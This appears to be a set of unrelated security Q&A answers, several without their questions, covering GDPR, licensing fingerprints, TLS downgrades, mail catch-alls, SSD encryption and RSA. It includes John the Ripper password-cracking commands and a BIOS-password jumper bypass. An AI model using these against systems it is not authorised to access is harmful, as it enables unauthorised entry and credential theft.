If you have no ability to see IP addresses and the computer name, then you either need an external service/program that can expose that information to you so you can verify it is the same machine, or your best bet is renting a conference room or similar and hosting it at a physical location. That route is better anyways because you can set up your own LAN and ensure that latency between players remains low and no one has a heavy advantage of latency and you know someone else is not sitting at their computer.


Does an email newsletter form on a HTTP-only website constitute a GDPR violation?

The act of collecting data on an insecure connection may not actually violate GDPR but to be safe you should go for ensuring personal data is always protected. GDPR's main concern is the processing of personal data and the exchange of personal data from a collector to a processor.

So for example, you mention that the emails get sent to mailchimp, you will need to ensure that this is done in a secure manner.  This is where GDPR really plays: can you demonstrate that you are not storing the emails in an secure manner, canyou demonstrate those emails are being submitted to mailchimp in a secure manner.

Also remember that today solutions like Let's Encrypt allow you to easily get a web server certificate with no cost.


I am saving the encrypted data (no. of tries,and other releted info) in a file and in the registry.

If your users are tech savvy, you won't be able to squirrel away information in the registry without them noticing.  They can simply roll back to an earlier version of the registry entry.

Microsoft tried device fingerprinting by storing device characteristics in wpa.dbl.  I haven't managed a Windows machine in a while, so I don't know how well it works, if it's used on Windows 7, or whether that file is readable by other processes.  I do recall that they had to do a bunch of work to make the device fingerprint robust against minor changes to devices.

  In its simplest form, activation (on a Net-connected PC) is a matter of sending a unique code from your PC to a server at Microsoft. That server then returns an activation code, which allows you to keep using the operating system. The unique code belongs to your computer alone and acts as a flag to Microsoft if your copy shows up on another PC or you significantly alter some part of your PC.
  Fully Licensed, a software-licensing technology firm in Germany, figured out how the process works and shared the details with the world. Activation starts with an Installation ID--a packet of encrypted data containing the 25-character XP serial number combined with hardware information--which is sent to Microsoft over the Internet. While you have the option to register your copy of XP (that is, send personal information to Microsoft separately from activation) during the activation process, Fully Licensed verified that no personal information is gathered, stored, considered, or transmitted during activation. The registration process, on the other hand, does collect personal data, such as your name, address, and e-mail address, but as a separate process that is not required for activation. If your PC isn't connected to the Internet when you install or activate XP, the OS presents the Installation ID on your screen, and you must read it over the phone to a Microsoft customer service person. (A special program, called msoobe.exe, creates the ID.)
  At Microsoft's activation server, a program checks the ID to verify that the data arrived intact and that the product ID has not been used with a different hardware fingerprint (that is, another computer). XP stores the system fingerprint on your PC in a file named wpa.dbl. From now on, whenever you reinstall that copy of Windows, the Microsoft server compares the original system fingerprint and OS serial number created at first activation with the current system fingerprint for that product serial number.

  If the product ID and hardware fingerprint from a new installation are not significantly different from a previous activation, the activation server generates a 44-digit Confirmation ID code and sends it back to your PC.

It looks like there are other commercially available device fingerprinting solutions on the market.

So if you can derive a device fingerprint or piggyback off the MS activation one, you could encrypt it with a private key on a server, and have your software check it with a public key embedded in the software so that the machine need not be reliably connected to the network for your software to start.

None of this helps though if the Windows install is inside a virtual machine where devices are virtualized.

Alternatively you could try non-hardware fingerprints.  I vaguely remember some Berkeley folk coming up with a way to identify personal machines even when Tor was running by looking at the fonts installed.  Many Windows programs carry fonts, fonts are rarely uninstalled, and fonts are available to browsers, so by looking at particular font versions they could come up with a reasonably reliable fingerprint.  That might survive reimaging, assuming the user of your software wants to keep running other programs on the same machine.

http://panopticlick.eff.org/browser-uniqueness.pdf

  In general, plugins and fonts are the most identifying metrics...

  We tested the hypothesis that font orders are informative, by checking to see
  if any returning, cookie-accepting users had font lists whose order had changed.

Just keep in mind that sending this information to a server, even in digest form, might be something you need to seek user consent for ahead of time.


Is it enough for the server to require TLS 1.1?

The client sends to the server its support cipher suites, and the server chooses the highest one in which it supports.

  If we want to ensure that connections use TLS version 1.1 or greater,
  is it sufficient to set one side of the connection to require TLS
  version 1.1 or greater or do both sides of the connection need to be
  set to require TLS version 1.1 or greater?

Ensure the server does not support protocols less than TLS 1.1 and then any connections attempting less than TLS 1.1 will be rejected by the server. But note any clients that do not support TLS 1.1 or higher will be unable to connect at all.

  In other words, if Bob requires TLS 1.1 but Alice will accept TLS 1.0
  (or SSL), assuming Eve can intercept the connection request from Alice
  to Bob, can Eve exploit the weaknesses of TLS 1.0 to obtain
  information from Alice that would allow her to create a TLS 1.1
  connection to Bob?

There are attacks that are called 'downgrade' attacks and they in a nutshell alter the clients cipher suites to trick the server into thinking the client only supports older (weaker) cipher suites and protocols.

Make sure the server does not support weak cipher suites and protocols and therefore the client (or attacker) cannot downgrade a client to a weaker one as the server will reject it as a cipher suite in which it does not support.


What to consider security wise, when having a mail catch-all policy?

PROS

Less likely to lose an email due to human error on the sending side.

CONS

If you're running anti-spam / antivirus that's scanning incoming emails for malware that scanning process can occur in the kernel to speed up the process. Any vulnerability in your antivirus / anti-spam (cough) Symantec could result in unnecessary exposure to exploit.
Depending on your antispam, if the resources for that AS is exhausted they can just freeze and stop processing emails, delivering them unscanned. I have seen antispam agents (albiet, less known & used ones) panic due to resource exhaustion and while the service was restarting email was delivered without being sanitized.
The addition of unncessary logs will make reviewing anti-spam logs cumbersome and if you should ever need them for foresnsics it will be that much more tedious to find what you're looking for.
The Pro is not really a great reason because NDR's should serve the purpose of notifying the sender in the instance the email address is incorrect. Granted that may not be the most desirable in instances where business can be lost due to emails not being delivered, but to me the cons outweigh the pros.


Samsung EVO 970 SSD on laptop without TPM - secure erase, is the drive encrypted?

There's a lot of information here so I'll try to answer directly and clear up anything that's incorrect.  First and foremost, BitLocker drive encryption and the built-in encryption on the SED are two mutually exclusive forms of encryption and I would not recommend running both due the likely significant performance impact.

If you are using the built-in drive encryption (and it appears you are), then there's no need to use BitLocker.  The SED stores the key on the drive controller (hardware outside of the OS) so it's faster and technically more secure without a TPM (although there are publicly known attacks against SEDs from Samsung and Seagate (and BitLocker for that matter)).

As far as your questions go:

Does this mean my drive is encrypted?

Well, yes.  But what you're confusing is BitLocker with the built-in drive encryption on the SSD.  As previously stated, they are two distinct forms of drive encryption.  You are receiving the message,  "your administrator must set the allow bitlocker without a compatible tpm" because you don't have a TPM and by default, BitLocker wants to store the key in the TPM for the additional security measure.  If you change this setting, you can still use BitLocker but the key is stored on the drive and can be stolen/reclaimed by someone with the right tools and know-how.  I'd also like to reiterate, dont' use both the SED encryption and BitLocker.  It's redudnant and will likely destroy your IO experience.

Or do I need to override the TPM setting and setup bit locker still and then bit locker with use the hardware encryption on the drive?

If you want to use BitLocker over the SED built-in encryption, you'll need to remove the encryption which will wipe the drive, reinstall your OS without the built-in encryption and then enable BitLocker without TPM.

Or do I need to set a BIOS system password?

If you're concerned about people having physical access to your machine, it's best practice to set a BIOS password.  However, know that there are many nullifying circumstances with this:

If you allow your laptop to boot to every capable bootable device technology on the laptop, the BIOS password is functionally irrelevant as they'll just boot off of CD or USB to another OS, mount your drive, unencrypt it, and get your info.  <-- this isn't trivial, but certainly far from unlikely.
If someone has physical access to your laptop, they can perform the J38/39 jumper reset to unset the BIOS password (this still works, I did it about 3 months ago on a brand new Dell).

Edit:  As stated in the comments, if you enable BitLocker, it can and will prefer to use the hardware encryption enabled by the SED due to performance reasons.  However, as it's not yet enabled and your Samsung software is saying the drive is encrypted, it's probably using the built-in method on the SED.


When you look at the documentation, you are looking for the terms "character set" and "charset"

  By default, the [Incremental:All] parameters are set to use the full
  printable US-ASCII character set (95 characters)

The 95 characters do not include umlauts.

But later, the documentation reads:

  If you've got a password file for which you already have a lot of
  passwords cracked or obtained by other means, and the passwords are
  unusual, then you may want to generate a new charset file, based on
  character frequencies from that password file only:

  john --make-charset=custom.chr mypasswd

What you do is create a .pot file with the characters you want to include, update your .conf file for a new character set file, then run

john --make-charset=custom.chr


Those API keys are often called tokens. They are often assumed to have a rather short lifetime and are more or less used as a high level session id. It is not a true session because they are used for stateless requests and only carry user identification. But their lifetime generally spans from a few hours to several days. More, they are never a primary access key, so if the token database get compromissed, it is immediately emptied and users ask for new API keys.


Is a large number of RSA-encrypted files a vulnerability?

Short answer: there is no issue in encrypting 104 files with the same key.

Longer answer: it is called public encryption for a reason: the public key is, well, public. This means that anybody can encrypt data with the public key (it is the decrypting part which is reserved for the private key owner). In particular, the attacker can encrypt millions of files with your public key, if he wishes so. Asymmetric encryption systems are specifically designed to not suffer from that. In the case of RSA, this implies that any decent RSA encryption protocol includes random padding bytes, as PKCS#1 describes; the protocol used by GnuPG to encrypt data is decent.